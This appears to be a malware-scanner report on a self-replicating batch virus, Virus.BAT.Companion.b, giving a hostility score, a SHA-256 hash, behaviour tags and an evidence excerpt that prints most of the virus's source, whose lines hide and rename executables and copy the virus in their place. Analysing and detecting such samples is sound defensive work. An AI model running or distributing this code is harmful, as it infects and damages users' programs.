Hostile 93% Download

Virus.BAT.Companion.b

Self-replicating batch virus

Batch suppresses console during file infectionBatch file replicates itself into others
SHA-2569999f1664ec93191cb505d922993da03cc1f5727dc9815c338716de3d45afc9e
MaleculeO₂(ErI)H₂(F₂Os)Md

Evidence

Batch copies its own file elsewhere lines 1–13
1@ctty nul
2for %%f in (*.com *.exe) do set A=%%f
3rename %A% Y%A%
4if not exist Y%A% goto end
5attrib +h Y%A%
6copy %0.bat %A%
7attrib +r %A%
8ren %A% *.bat
⋯5 lines

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